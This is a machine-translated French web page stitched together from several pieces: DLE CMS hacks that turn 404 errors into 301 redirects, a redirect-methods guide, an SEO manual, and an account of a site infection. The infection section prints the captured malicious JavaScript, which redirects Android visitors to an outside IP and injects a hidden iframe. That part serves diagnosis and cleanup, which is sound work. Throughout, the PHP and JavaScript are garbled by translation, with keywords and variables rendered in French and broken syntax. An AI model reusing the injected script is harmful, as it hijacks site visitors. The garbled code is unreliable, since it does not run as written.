La cloche.

Il y a ceux qui ont lu cette nouvelle devant vous.
Abonnez-vous pour recevoir des articles frais.
E-mail
Nom
Nom de famille
Comment voulez-vous lire la cloche
Sans spam

J'ai un site sur le moteur de moteur de Datalife et j'ai décidé que je change de profil. Pas dramatiquement, juste un peu étroit le thème. Pour ce faire, je devais retirer du site plus de la moitié du contenu qui ne concerne pas ce sujet. Il a commencé à nettoyer les pages en remplaçant leur contenu sur le nouveau contenu. Mais il a toujours dû changer la structure de l'URL et, à cause de cela, la participation est apparue dans le panneau Webmaster, la position de la recherche de sujets étroits est apparu. De plus, j'ai remarqué qu'il ya des liens des forums et des services tels que OtVet.mail.ru sur les pages supprimées. . Lors du passage de ces pages d'erreur 404 a été donné en plus de ce fait technique, d'autres facteurs négatifs sont suivis - poids de référence est perdu, les indicateurs comportementaux sont réduits et, je pense, un autre nombre de conséquences négatives.

J'ai décidé de le réparer par la méthode brutale - pour toutes les pages distantes, je ne donnerai pas une erreur 404, mais de faire 301 rediriger à la chose principale. Dans CMS DLE, afin de mettre en œuvre ce piratage, vous devez trouver le code dans le fichier / moteurs / modules / spectacle. Full.php Recherche code:

Elsesif (! $ News_found) (@ en-tête ("http / 1.0 404 non trouvé"); msgbox ($ lang ["all_err_1"], $ Lang ["actualités_err_12"]);););););););););););););););););););););););););););););););););););););

eLSEIF (! $ News_found) (@Header ( "HTTP / 1.0 404 not found"); msgbox ($ lang [ "all_err_1"], $ lang [ "news_err_12"]);)

et remplacez-le

// 301 Redirect maison, si les nouvelles ne se trouve pas / n'existe pas, ELSEIF ($ News_found!) (Entête ( "HTTP / 1.0 301 Moved en permanence"), en-tête ( "Lieu: ($ config [" http_home_url « ]) "), DIE (" Redirect »);) // 301 maison de redirection, si les nouvelles ne se trouve pas / n'existe pas

Maintenant, tout en contactant le robot de recherche, il recevra un message que les informations de cette page sont transférées pour toujours vers le poids principal et tout le poids de référence aux pages supprimées seront redistribués sur la principale chose.

Les visiteurs des pages distantes redirigeront simplement la maison et, j'espère, puis ils devinèrent utiliser la recherche.

Maintenant, je vais décrire approximativement la même logique de l'adressage, mais pas pour la nouvelle, mais pour les catégories. Ouvrez le fichier /gine/engine.php et recherchez le code:

Si (! $ Catégorie_id) $ Catégorie_id \u003d "Non détecté";

si (! $ Catégorie_id) $ Catégorie_id \u003d "Non détecté";

qui remplace sur

Si ($ config ["allow_alt_url"] \u003d\u003d "oui" et! $ catégorie_id et $ vue_template! \u003d "RSS") (en-tête ( "Http / 1.0 301 déplacé de manière permanente"); Entête ( "Emplacement: ($ config [" http_home_url "])"); Mourir ("rediriger"); ) // résoudre un problème avec les catégories qui n'existent pas

// Résoudre un problème avec les catégories que si ($ config [ "allow_alt_url"] \u003d\u003d "Oui" et $ category_id et $ view_template \u003d "RSS"!) ( En- tête ( "HTTP / 1.0 301 Moved en permanence"); en- tête ( "Emplacement: ($ config [" http_home_url "])"); Die ("Rediriger");) // Résolution d'un problème avec des catégories qui n'existent pas

Tout. Maintenant, la même chose fonctionnera pour des catégories DLE à distance.

Le réseau a déjà décrit de nombreuses situations dans lesquelles le site de DLE (moteur de la vie de données) est d'être infecté par le virus et de mettre une redirection à un autre domaine. Dans cet article, il sera sur l'un de ces hacks du site, cependant, les descriptions d'un tel type d'infection est rare de rencontrer - une sorte de virus unique, qui a été remarqué pour la première fois.

En tant que virus frappé le site

Les données exactes sur la source de l'infection n'ont pu être obtenues. Selon les fichiers trouvés qui ont été remplis dans le dossier de téléchargements, rien de concret n'a pu être découvert.

Probablement, un mot de passe a été volé de l'hébergement ou du site d'administration. Les comptes FTP sur le site n'ont pas utilisé.

Redirection inhabituelle

La première fois que la présence du virus a été informée de Yandex dans la barre d'outils pour les webmasters dimanche le 16 novembre. Il avait l'air de cette façon:

Virus Recherche sur le site

Pour trouver un virus, un script spécial a été utilisé Ai-bolit.. Étant donné que la taille du site dépassait 1 gigaoctet, les fichiers de numérisation pour les virus directement sur le serveur ont échoué (manquez de temps).

En téléchargeant les archives du site sur le disque local, le test a été lancé, dont les résultats étaient assez surpris - il n'y avait rien de suspect dans les fichiers, mais le site est toujours repensé au domaine du contenu obscène, puis sur la charge de logiciels suspects. .

Lors de la saisie du site d'un téléphone mobile exécutant Android OS, les utilisateurs ont automatiquement déplacé vers cette page:

Ou tel:

En regardant à travers chaque fichier séparément, identifier la menace n'a également pas fonctionné.

Comment trouver une redirection avec une infection aussi dle

Complètement par hasard dans le modèle principal.TPL, au bas du fichier était. Directement dans le widget Consultant en ligne contenait un tel code:

La ligne d'avant-dernier semblait suspect, à savoir, les jquery.ui.js bibliothèque anodins ont été chargés à partir d'une adresse incompréhensible prescrite sous la forme d'une adresse IP.

Traverser cette adresse nous obtenons ce qui suit:

Si (GetCookie ( "Google__ANalytics __")!) (Porte var \u003d "http://5.61.34.53/jquery/jquery.php"; var aujourd'hui \u003d new Date (), demain \u003d new Date (); tomorrow.setdate ( aujourd'hui Tomorrow.SetDate .getdate () + 1); setCookie ( "Google__ANalytics__", 1, Tomorrow.TogmtString ()); VAR UA \u003d Navigator.useRegent.TolowerCase (); if (ua.indexof ( "Android")\u003e - 1) fenêtre emplacement \u003d grille;. le reste (var el \u003d document.createElement ( "iframe"); document.body.appendChild (EL); el.id \u003d "iframe"; el.style.width \u003d 0; el.style .height \u003d 0; el.src \u003d "http://5.61.34.53/2c24";)) Fonction setCookie (Nom, valeur, ECHOUE chemin, domaine, sécurisé) (Document.Cookie \u003d Nom + "\u003d" + escape (valeur) + (? (EXPIRE) "; expires \u003d" + EXPIRE: "") + ((PATH)? "; Path \u003d" + chemin: "")? + ((domaine) "; domain \u003d" + domaine : "" + ((Secure)? "sécurisé": "");) Fonction GetCookie (nom) (var cookies \u003d "" + document.cookie; var search \u003d "" + nom + "\u003d"; var \u003d setstr null; var, var décalage \u003d 0; var end \u003d 0; if (cookie.length\u003e 0) (offset \u003d Cookie.Indexof ); Si (offset! \u003d -1) (décalage + \u003d search.length; find \u003d cookie.indexof (";", décalage) si (fin \u003d\u003d -1) (find \u003d cookie.length;) setstr \u003d Cookie. Substrage (compensation, fin));)) Retour (setstr); )

C'est cette ligne avec un script et a causé la redirection. Supprimer en changeant des mots de passe sur le site et l'hébergement, le problème a disparu.

Quel est exactement ce virus de redirection des autres types d'infection

Recherche par fichiers de site à l'aide du bloc-notes Eval, base64 et autres, inutile. Vérifiez le site par antivirus (tout connu) - il est inutile. Vérifiez que l'utilisation de l'AI-Bolit n'aura pas également abouti.

Seulement en mode manuel avec une visualisation indépendante, vous pouvez voir le résultat, car le virus n'est pas chargé du site lui-même, mais à partir d'une source externe. Pour éviter un site de piratage informatique similaire, jamais garder les connexions et les mots de passe dans les navigateurs, les faire multiplodes et ne pas utiliser le nom d'administrateur Administrateur. Prenez soin de vos sites en bas!

Statut du sujet: fermé.

  1. En raison de la migration du 8 décembre.2, il est nécessaire d'enregistrer rediriger avec des pages anciennes à de nouvelles.

    V.htaccess i Ajouter Redirection 301 / Contenu / Vue / 121/54 / http://www.site.ru/alan

    Par exemple, vous redirigerez pour tester sur www.test.com, le reste sur Enter.Test.com (la procédure d'enregistrement est importante

    Remarque: à mes fins (changement dans le domaine), il y avait suffisamment de première version de la redirection 301.
    2.
    En utilisant mod_rewrite (écrit dans fichier.htaccess

    La tâche de fusion classique des noms de site avec www et sans elle est résolue comme ceci:

    Options + SUIS SUITESMLINKS.
    Réécritengine sur.
    RewriteCond% (http_host) ^ YourSite \\ .com
    Rewriterule ^ (. *) $ Http://www.yoursite.com/ompu1.

    Ou syntaxe alternative:

    Options + SUIS SUITESMLINKS.
    Réécritengine sur.
    Réécrire% (http_host) ^ domaine \\ .com $
    RewriteRule ^ (. *) $ Http://www.domain.com/$1

    La désignation signifie: rediriger le client et l'envoyer le code d'état 301 (r \u003d 301) et faire cette règle le dernier (L).

    Rediriger l'ancien domaine vers le nouveau:

    Options + SUIS SUITESMLINKS.
    Réécritengine sur.
    RewriteRule (. *) Http://www.newdomaine.com/$1

    Par exemple, si vous avez besoin au lieu du rewrite.htm, le fichier rewrite.html est chargé, ajouter V.htaccess:

    Réécritengine sur.
    Rewritebase /
    Réécritez ^ réécriture \\ .htm $ rewrite.html

    Pour remplacer les fichiers All.HTM Files.html:

    Réécritengine sur.
    Rewritebase /
    Rewriterule ^ (. *) \\. HTM $ 1.html

    3.
    Rediriger sur PHP:


    Tête ("Lieu: http://www.newdomain.ru/newdir/newpage.htm");
    sortir ();
    ?>

    Il est préférable de spécifier http / 1.1, car plus ancien ne prend pas en charge l'hébergement virtuel. N'oubliez pas qu'avant l'appel d'en-tête, rien ne doit être affiché (par exemple, écho ou imprimé). Par conséquent, il est préférable de mettre ce code au début du script PHP. Une redirection PHP plus silencieuse avec la sauvegarde des paramètres de page transmis et d'appel:

    $ ref \u003d $ _ serveur ["Query_string"];
    Si ($ ref! \u003d "") $ ref \u003d "?". $ Ref;
    Tête ("http / 1.1 301 déplacé de manière permanente");
    Header ("Emplacement: http://newdomain.com/".$ref);
    sortir ();
    ?>

    4.
    Rediriger sur ASP

    <%@ Language=VBScript %>
    <%
    Réponse.status \u003d "301 déplacé de façon permanente"
    Response.Ajouter "Emplacement", "http://www.new-ourl.com"
    Réponse.end.
    %>

    5.
    Rediriger sur ASP.NET.

    6.
    Rediriger sur Coldfusion

    <.cfheader statuscode="301" statustext="Moved permanently">
    <.cfheader name="Location" value="http://www.new-ourl.com">

    7.
    Rediriger avec Meta Refresh

    Où 0 est le retard de la redirection en secondes, Newdomain.com -Stusien, où en avant. Certains anciens navigateurs ne prennent pas en charge avec une META REFRESH valeur de 0, pour la compatibilité, vous pouvez installer une valeur non nulle, même si, à mon avis, il n'est plus pertinent. Une telle redirection ne sera pas en mesure de coller vos sites (avec www et sans) et transférer PR, car il est ignoré par les moteurs de recherche. Il renvoie le code 200 OK, ce qui correspond à la page habituelle. Cette technique est populaire auprès des spammeurs. Il ne devrait donc être appliqué que pour les pages qui ne seront pas indexées.
    8.
    Rediriger avec JavaScript

    Les options de transmission sur JavaScript sont plus souvent implémentées à l'aide de la fonction Settimeout ("Fonction", de retard).

    Par exemple, définissez automatiquement les formulaires "Soumettre" "Soumettre" "Soumettre" en 0.1 secondes après le chargement du code:

    SettimeOut ("Document.Forms [" SearchForm "]. Soumettre.click ()", 100);

    Vous pouvez accrocher n'importe quelle action sur le bouton Soumettre, par exemple, pour ouvrir une nouvelle URL dans cette fenêtre. À propos, de telles redirigations sont plus courantes lors de l'organisation de Dorways (Dorway) - le navigateur de l'utilisateur sera redirigé vers une autre page et le robot de recherche qui "ne comprend pas" JavaScript indiquera cette page, inaccessible à l'utilisateur. Sur ce, les habitations placent le texte riche dans les mots-clés "désirés".

    Pour rediriger simplement une autre page, vous pouvez insérer après l'une des options de code pour JavaScript:
    * emplacement \u003d "http://www.newdomain.com";
    * document.location.href \u003d "http://www.newdomaine.com";
    * Window.location.rarod ("http://www.newdomain.com");
    * document.location.replace ("http://www.newdomain.com");
    Dans ce dernier cas, il ne sera pas possible de revenir à la page de redirection, car son adresse est effacée de l'histoire, qui est souvent nécessaire. Si vous avez besoin d'un retard dans le temps, vous pouvez organiser l'emplacement \u003d "http://www.newdomain.com"; sous la forme d'une fonction et insérez-la dans SetTimeOut ("Fonction ()", retard_v_msek); Redirection sur JavasCrupt n'est pas 301 Rediriger et ne donnera pas à PR Pages, il ne sera pas en mesure de fournir son collage.

    Nous notons également certaines fonctionnalités des redirections:

    * C.HTACCESS Les méthodes de redirection fonctionnent uniquement sur des serveurs Linux qui ont Apache avec le module Mod-Rewrite.
    * Utiliser.htaccess crée une charge supplémentaire sur le serveur Apache, de prescrire plus efficacement les mêmes commandes de son fichier de configuration HPPTD.CONF, mais, en règle générale, il n'y a pas d'accès au webmaster.
    * 301 Rediriger, vous permet de sauvegarder le trafic et de passer des PR PR pour les moteurs de recherche (pour Google exactement).
    * Le processus de collage et de transmission de PR prend beaucoup de temps - jusqu'à plusieurs mois et dépend aussi du moteur de recherche, il ne supprime pas l'ancienne page ou sur le site jusqu'à ce que le transfert final se produit.
    * Certains moteurs de recherche nécessitent de collage des sites de paramètres supplémentaires, par exemple, pour Yandex, vous devez également enregistrer robots.txt

    Conclusion. Un moyen sûr de rediriger les anciennes pages vers un nouveau ou ancien site à une nouvelle adresse, tout en maintenant les positions dans les moteurs de recherche, est l'utilisation de redirection 301, ce qui vous permettra également de transférer l'ancienne page vers le nouveau site.

    Pour plus d'informations sur Mod_rewrite, vous pouvez lire sur:

Salut les amis. Enfin, il est temps que la troisième partie de mon méga-manuel optimise la DLE.

Seulement maintenant avec horreur s'est rendu compte que la deuxième partie précédente du leadership était de plus de six mois!

Selon la tradition actuelle, nous allons parler et spécifiquement dans cette partie je vais raconter certaines caractéristiques du moteur et des copeaux de petite taille, mais très utiles et kakicela n'a pas répondu au format dans les parties précédentes.

Cette partie est également associée aux adresses des pages, mais contrairement à la deuxième partie, où nous nous sommes battus avec les doubles et exclu leur apparence, dans cette partie, nous allons voir comment se débarrasser des pages non existantes qui sont apparues comme résultat d'un retrait ou d'une erreur dans l'adresse.

Publier mis à jour le 6 mai 2014:
Modifications mises à jour effectuées dans le moteur, ajout de la prise en charge des nouvelles versions du moteur.
Pertinent pour les versions suivantes de DLE: 7.x, 8.x, 9.x, 9.x, 10.x!

Autres parties de SEO-Manuel:
Partie 1, Optimisation du titre du titre -
Partie 2, lutte contre la duplication de contenu -
Partie 4, Correction des versions de DLE 9.3, 9.4, 9.5, 9.6 -

Rediriger avec des pages de pagination inexistantes à droite et existant

La puce a été inventée littéralement aujourd'hui lorsque j'ai trouvé beaucoup de 404 erreurs sur l'un des sites du panneau Webmaster.

Prenez une situation complètement réelle - pour une raison quelconque, vous avez décidé de modifier le nombre d'informations affichées sur la page principale ou les pages de catégorie. Comment suis-je arrivé: la refonte de l'utilisateur; Structure de la page complètement modifiée; Il a été décidé de retirer davantage de nouvelles annonces de nouvelles sur chaque page (c'était 7, il est devenu 10). Le résultat était le suivant - de nombreuses pages avec 404 erreurs sont apparues dans le panneau Webmasters. arithmétique simple, il était de 1000 nouvelles sur le site, sur chaque page 7 annonces ont été affichées sur chaque page, donc uniquement sur la principale chose que nous obtenons 1000/7 \u003d 142 pages de pagination. Une fois que les pages changent, c'était exactement 100. En conséquence, 42 pages ont simplement disparu. Et si nous prenons plus de catégories, les pages inexistantes sont déjà des centaines et deux. C'est mauvais, moche et ne travaille pas du tout.

Ouvrez le fichier /gine/modules/show.short.php et en bas trouve:

} ?>

DESSUS ajouter:

$ all_pages_count \u003d @ ceil ($ comte_all / $ config ["News_Number"]); Si ($ cstart\u003e $ all_pages_count) (IF ($ all_Pages_count\u003e 1) (en-tête (); en-tête ("Emplacement:" $ url_page. "/" $ all_pages_count. "/"); Die (); Sinon (en-tête ( "Http / 1.1 301 déplacé de manière permanente"); Tête ("Emplacement:". $ Url_page. "/"); MOURIR (); ))) // redirection de la dernière page, si l'URL indique une page plus que la plus existante

// Rediriger sur la dernière page, si l'URL indique une page plus que le maximum existant Emmeublement $L_Pages_Count \u003d @Ceil ($ comte_all / $ $ config ["News_Number"]); Si ($ cstart\u003e $ all_pages_count) (if ($ all_pages_count\u003e 1) (en-tête ("http / 1.1 301 déplacé de manière permanente"); en-tête ("Emplacement:" $ URL_PAGE. "/". "); Die ();) sinon (Header (" http / 1.1 301 déplacé de manière permanente "); en-tête (" Emplacement: ". $ url_page." / "); Die ();) // Rediriger pour la dernière page , Si l'URL indique une page plus que le plus existant

Je vais vous expliquer un peu: Il y a un chèque à l'état - si le numéro de la page en cours est supérieur au nombre maximal de pages sur le site (ou dans la catégorie), puis une redirection de la dernière page. Si la page numéro 2 est demandée et que les pages ne sont qu'une, une redirection de la page sinistre (ou la page principale de la catégorie se produit.

Un exemple sur les doigts, quelqu'un demande la page de site Site.ru/page/435/, et sur ce site seulement 268 pages, par conséquent, la redirection à Site.RU/page/268/ sera arrêtée.

Rediriger avec des pages inexistantes de commentaires de la pagination à droite

Pertinence: seules versions de DLE 8.X, 9.X. Pour DLE 10.x n'est pas pertinent, car Déjà mis en œuvre dans le moteur lui-même.

Une situation similaire avec la pagination dans les commentaires. Il peut y avoir une telle situation qui, par exemple, vous avez été posée dans les commentaires, les moteurs de recherche étaient indexés par toutes les pages des commentaires, puis vous l'avez remarquée et supprimé tous les commentaires. Mais les pages que les moteurs de recherche sont indexées, resteront toujours, aucun commentaire ne sera affiché sur eux, et il y aura un double de la page de presse principale. Et c'est triste, vous devez corriger!

Ouvrez le fichier /gine/classes/kments.class.php et en bas trouve:

} } ?>

DESSUS ajouter:

// Redirect sur la dernière page de commentaires si l'URL indique plus que le maximum existant si ($ this-\u003e CSTART\u003e $ ENPAGES_COUNT) (HTTP / 1.1 301 Moved Permanently), en- tête ( "Location:". $ URL); DIE ();) // rediriger sur la dernière page des commentaires si l'URL indique une page plus que le plus existant

Eh bien, maintenant tout est en ordre, vous pouvez vérifier.

Rediriger avec des liens avec des symboles inutiles ou une fin inutile sur les bonnes adresses

Pertinence: Toutes les versions de DLE. Vérifié par 7.x, 8.x, 9.x, 10.x.

Auparavant, il y avait une solution très difficile qui dépend de la version du moteur. Mais à partir du moment d'écrire ce post, j'ai assez mes compétences pour faire une solution universelle pour toutes les versions de DLE et en général tout à fait pour tout moteur ou tout autre site!

Ouvrir.htaccess, qui se trouve à la racine et trouve:

RewriteBase / RewriteCond% (RequRitecond% (REQUEST_FILENAME)! -D RewriteCond% (REQUEST_URI) ^ (. *) \\. HTML (. +) RewriteCond% (REQUEST_URI) ^ (. *) \\. Htm $ RewriteCond% (REQUEST_URI) ^ (. *) \\. HT $ RewriteCond% (REQUEST_URI) ^ (. *) \\. H (. *) \\. rewriterule $ ^ (. *) \\. (. *) $ ^ RewriteCond de% (REQUEST_URI) 1 $. html

Indépendamment du type sélectionné de CNC, lors de la mise sous tension de n'importe quelle "courbe", le visiteur y allira, où il était censé obtenir.

Rediriger des sections ou des catégories qui n'existent plus à la page principale

Pertinence: Toutes les versions de DLE. Vérifié par 7.x, 8.x, 9.x, 10.x.

Un exemple de la vie: vous avez décidé de changer la structure du site ou simplement supprimé certaines catégories comme inutiles.Par conséquent, ces pages cesseront d'exister et des liens pour eux peuvent rester quelque part. Par exemple, sur Emofans I une fois pour les utilisateurs des blogs eu disponibles à site.ru/blog/, et ils ont été divisés en utilisateurs, comme celui - ci (/ blog / user1 /, Site.ru/blog / user2 / etc. Pendant de nombreuses années, combien d'années j'ai démoli ces blogs aussi inutiles et des liens vers eux et des erreurs dans le panneau Webmaster en direct.

Cette édition vous permettra d'éviter l'apparition d'adresses de pages d'actualité complète sans expansion à la fin ni à toutes les adresses de la pleine nouvelle lorsqu'il n'y a pas de morceau d'URL à la fin. Ainsi, en combinaison avec le paragraphe précédent, ces modifications aideront à 99% à éviter l'apparition d'adresses incorrectes et indésirables.

Ouvrez le fichier /gine/engine.php et trouve:

Si (! $ Catégorie_id) $ Catégorie_id \u003d "Non détecté";

si (! $ Catégorie_id) $ Catégorie_id \u003d "Non détecté";

Remplacer sur le:

// Résoudre un problème avec les catégories que si (! $ Category_id et $ view_template \u003d "RSS") (HEADER ( "HTTP / 1.0 301 Moved Permanently"); en- tête ( "Lieu: ($ config [" http_home_url "])" ); Mourir ("rediriger");) // résolution d'un problème de catégories qui n'existent pas

Rediriger pour les publications qui manquent, à la page principale

Pertinence: Toutes les versions de DLE. Vérifié par 7.x, 8.x, 9.x, 10.x.

Une autre vraie histoire extraite de mes sites. Il y a beaucoup de pages dans le panneau de webmaster avec une erreur 404 de ce genre site.ru/category/subcat/page-name.html, et selon les règles, il devrait être si site.ru/categor/subcat/123-page_name. html. Pour être honnête, je ne comprends toujours pas comment et pourquoi ID News et qui ont appelé des publications de cette manière. Aucun modules et hacks qui sont retirés de l'URL de son identifiant, je n'ai jamais utilisé, alors je péché sur les utilisateurs qui "tordu" mettent des liens dans leur corps sur mon site. Bon, d'accord, ce n'est plus important, mais il est important de faire face à ce problème!

Uniquement pour les versions de DLE 10.x (ainsi que pour 9,5, 9,6, 9,7 et 9.8)

La nouvelle version du code est au-delà du fait que j'ai redirigé les adresses «Problème» des pages de nouvelles complètes, mais redirige également les pages statiques principales et non existantes ou distantes. Ceci est connecté à la logique modifiée dans le moteur. D'une part, probablement, c'est bon, car dans une bibliothèque, deux problèmes résolvent. D'autre part, d'abord le moteur donne l'erreur 404 d'habitude - si vous êtes satisfait de cet état de choses, alors ne font pas les modifications décrites dans le présent paragraphe.

Ouvrez le fichier /gine/modules/static.php et trouver à la fin de la fin:

@ Header ("http / 1.0 404 non trouvé"); $ lang ["static_page_err"] \u003d str_replace ("(page)", Nom $. ".html", $ Lang ["static_page_err"]); Msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]);

@header ("http / 1.0 404 non trouvé"); $ Lang [ "static_page_err"] \u003d str_replace ( "(Page)", $ name, $ lang [ "de static_page_err"]. "HTML".); MSGBOX ($ lang [ "all_err_1"], $ lang [ "static_page_err"]);

Remplacer sur le:

// 301 redirect accueil avec des pages de nouvelles adresses où id est parti, ainsi que des pages statiques inexistants en-tête ( "HTTP / 1.0 301 Moved en permanence"); Tête ("Emplacement: ($ config [" http_home_url "])"); Mourir ("rediriger"); // 301 Rediriger la maison des adresses de pages d'actualités où ID est parti, ainsi que des pages statiques non existantes

Vieille décision. Uniquement pour les versions de DLE 7.X, 8.X, 9,0, 9.2 et 9.3

Toutes les adresses contenant à la fin. HTML et ne contiennent pas d'identifiants seront redéployés sur la page principale. Les pages statiques existantes et correctes, bien qu'elles ne possèdent pas non plus l'ID de l'URL, ne seront pas régnées, mais fonctionneront comme avant.

Ouvrir tout le fichier /gine/engine.php et trouve:

Si ($ abonnement \u003d\u003d "") $ subaction \u003d "showfull"; )

si ($ abonnement \u003d\u003d "") $ subaction \u003d "showfull"; )

AU DESSOUS DE ajouter:

if (($ config [ "allow_alt_url"] \u003d\u003d "oui") && (strpos ($ _SERVER [ "REQUEST_URI"], ".html")! \u003d\u003d False) && ($ dle_module \u003d\u003d "Main")) ( Entête ( "Http / 1.0 301 déplacé de manière permanente"); Entête ( "Emplacement: ($ config [" http_home_url "])"); Mourir ("rediriger"); ) // 301 Rediriger la maison avec adresses de pages d'actualités où ID est parti

// 301 Redirect accueil à partir des pages de nouvelles adresses où id if (($ config [ "allow_alt_url"] \u003d\u003d "Oui") && (strpos ($ _ serveur [ "REQUEST_URI"], ".html")! \u003d\u003d false) && ($ dle_module \u003d\u003d "Main")) ( En- tête ( "HTTP / 1.0 301 Moved Permanently"), en- tête ( "Lieu: ($ config [" http_home_url "])"); die ( "redirect");) / / 301 Rediriger la maison des adresses des pages d'actualités où ID est parti

Rediriger les nouvelles à distance ou inexistante à la principale

Pertinence: Toutes les versions de DLE. Vérifié par 7.x, 8.x, 9.x, 10.x.

Eh bien, il y a une situation standard et peut rencontrer n'importe quel site. Vous avez supprimé une sorte de nouvelles et, bien sûr, 404 erreurs seront émises. Si cela ne vous convient pas, à savoir que des erreurs 404 sont émises, vous pouvez alors faire, par exemple, 301-rediriger vers la page principale du site, qui existe certainement;)

Ouvrez le fichier /gine/modules/show.ful.php fichier et trouve:

ELSEIF ($ news_found!) (@ Header ( "HTTP / 1.0 404 not found"); msgbox ($ lang [ "all_err_1"], $ lang [ "news_err_12"]);)

eLSEIF (! $ News_found) (@Header ( "HTTP / 1.0 404 not found"); msgbox ($ lang [ "all_err_1"], $ lang [ "news_err_12"]);)

Remplacer sur le:

// 301 Rediriger la maison, si les nouvelles ne sont pas trouvées / n'existent pas, sinudif (! $ News_found) (en-tête ("http / 1.0 301 déplacé de façon permanente"); en-tête ("HTTP_HOME_URL"]) "), DIE (" Redirect »);) // 301 maison de redirection, si les nouvelles ne se trouve pas / n'existe pas

Maintenant, lors du passage à une publication inexistante ou à distance, une redirection vers la page principale du site sera effectuée.

En général, les gars, j'ai un très grand post séparé.
Je vous recommande de vous familiariser avec elle, que vous ne travaillez que avec DLE ou d'autres CMS.

Interdire l'indexation des sections du site en utilisant les robots méta-balises

Pertinence: Toutes les versions de DLE. Vérifié par 7.x, 8.x, 9.x, 10.x.

Donc, rappelez-vous que j'ai récemment publié un message sur l'endroit où il a dit que fermez les pages d'indexation à l'aide de robots.txt ne fonctionnent pas, mais de fermer avec Bonne option. Je recommande vivement d'explorer ce post.

Si vous ne vous sentez pas confiance, je vous recommande fortement d'utiliser! Avec le module, vous ne faites pas mal nulle part, mais vous ne devez pas modifier les données après chaque mise à jour du moteur.

Nous ouvrons le fichier déjà aimé /gine/engine.php, nous trouvons une chaîne inutile et supprimez:

si ($ config ["allow_rss"]) $ METATAGS. \u003d<< Html;

DESSUS ajouter:

Si ($ abonnement \u003d\u003d "userinfo" ou $ subaction \u003d\u003d "allNouve" ou $ subaction \u003d\u003d "Newposts" ou $ do \u003d\u003d "statistiques" ou $ do \u003d\u003d "addnews" ou $ do \u003d\u003d "registre" ou "pm" ou $ do \u003d\u003d "pm" ou $ do \u003d\u003d "commentaires" ou $ do \u003d\u003d "lastcalments" ou $ do \u003d\u003d "lâchepassword" ou $ do \u003d\u003d " \u003d\u003d "Recherche" ou $ do \u003d\u003d "DateNews" ou $ do \u003d\u003d "AllTags" ou $ do \u003d\u003d "tags" ou $ dle_module \u003d\u003d "date") $ MetaTags. \u003d << Html;

si ($ abonnement \u003d\u003d "userinfo" ou $ subaction \u003d\u003d "allNouve" ou $ subaction \u003d\u003d "Newposts" ou $ do \u003d\u003d "statistiques" ou $ do \u003d\u003d "addnews" ou $ do \u003d\u003d "registre" ou "pm" ou $ do \u003d\u003d "pm" ou $ do \u003d\u003d "commentaires" ou $ do \u003d\u003d "lastcalments" ou $ do \u003d\u003d "lâchepassword" ou $ do \u003d\u003d " \u003d\u003d "Recherche" ou $ do \u003d\u003d "DateNews" ou $ do \u003d\u003d "AllTags" ou $ do \u003d\u003d "tags" ou $ dle_module \u003d\u003d "date") $ MetaTags. \u003d<< Html;

Si vous souhaitez fermer de l'indexation de la page de pagination, tels que site.ru/page/x/ ou site.ru/category/page/x/, vous devez ajouter une ligne:

(IntTval ($ _GET ["CSTART"])\u003e 1)

(IntTval ($ _ obtenir ["cstart"])\u003e 1)

En conséquence, le code ci-dessus est converti en ceci:

Si ($ abonnement \u003d\u003d "userinfo" ou $ subaction \u003d\u003d "allNews" ou ... $ dle_module \u003d\u003d "date" ou (intval ($ _get ["cstart"])\u003e 1)) $ METATAGS. \u003d << Html;

si ($ abonnement \u003d\u003d "userinfo" ou $ subaction \u003d\u003d "allNews" ou ... $ dle_module \u003d\u003d "date" ou (intval ($ _ obtenir ["cstart"])\u003e 1)) $ METATAGS. \u003d<< Html;

Maintenant, j'expliquerai ce que chacun des éléments de condition If signifie, et j'ai préparé un signe merveilleux vous décrivant pour vous.

ModuleLa descriptionExemple d'URL
informations utilisateur.Affichage d'un profil de l'utilisateur.sITE.RU/USER/USER_NAME/
toutes les nouvelles.Affichage d'une nouvelle d'utilisateur spécifique.sITE.RU/USER/USER_NAME/NEWS/
nouveaux postes.Affichage de nouveaux produits, individuellement pour chaque utilisateur, disponible uniquement pour enregistrer, vous trouverez une erreur.site.ru/newposts/
statistiques.Statistics de site et les 10 utilisateurs TOP10.site.ru/statistique.html.
addnews.Ajouter une page de presse sur le site.site.ru/addnews.html.
s'inscrireNouvelle page de formulaire d'inscription de l'utilisateur.site.ru/index.php?do\u003dregister
favoris.Affichez vos favoris, individuellement pour chaque utilisateur, est disponible uniquement pour enregistrer, vous avez montré une erreur.site.ru/favorites/
des règles.Page des règles du site, qui sont présentées avant l'enregistrement, qui existent comme une page séparée.site.ru/rules.html.
pM.Affichez les messages personnels de l'utilisateur ou du formulaire d'envoi d'un message privé à n'importe quel site utilisateur.site.ru/index.php?do\u003dpm.
retourPage de rétroaction.site.ru/feedback.html
lastcalmentsVoir tous les commentaires à la publication sur le site dans l'ordre chronologique inverse.site.ru/index.php?do\u003dLastComments
mOT DE PASSE PERDU.Page de récupération du mot de passe.site.ru/index.php?do\u003dLostPassword.
rechercher.Section de recherche de site.site.ru/index.php?do\u003dSearch
dernières nouvelles.Voir toutes les dernières nouvelles de nouvelles. Copie précise de la page principale du site et de toutes les pages de pagination.site.ru/lastnews/
allTagsVoir la page de toutes les balises de site.site.ru/tags/
mots clésVoir les publications avec une balise spécifique.site.ru/tags/tagroname/
date.Archive du site. Liste des publications d'une certaine année ou un mois ou une journée.site.RU/2007/ ou SITE.RU/2007/06/ ou SITE.RU/2007/06/22/

* Moment le plus important - Lorsque vous fermez de l'indexation de la page, la méthode décrite, il est nécessaire de supprimer les règles interdites dans les robots.txt pour les pages et les partitions que nous avons fermées à l'aide de Meta-Tag. Sinon, aucun sens ne sera.

À votre discrétion, vous pouvez supprimer certaines pièces du code montré par moi, des sections spécifiquement pour votre site ne sont pas nécessaires. De sorte que, s'il vous plaît soyez prudente.

Ajouter une balise rel \u003d "canonique" pour les pages de la vue complète des nouvelles

Pertinence: Toutes les versions de DLE. Vérifié par 7.x, 8.x, 9.x, 10.x.

Je me souviens de quelqu'un dans les commentaires de l'une des pièces précédentes demandées à raconter comment afficher la balise rel \u003d "canonique" dans des publications sur le siteDonc, qui n'a pas vu mon commentaire avec la description de cette méthode, lu sur.

Ouvrez le fichier /gine/modules/show.ful.php fichier et ...

pour les versions de DLE 7.X, 8.x, 9,0, 9.2 et 9.3, nous trouvons:

) Sinon ($ FULL_LINK \u003d $ CONFIG ["http_home_url"]. "Index.php? \u003cbr\u003e \u003d". $ Rangée ["ID]; $ print_link \u003d $ config [" moteur / print.php? ". $ ligne [" id "]; $ courte_link \u003d" ";)

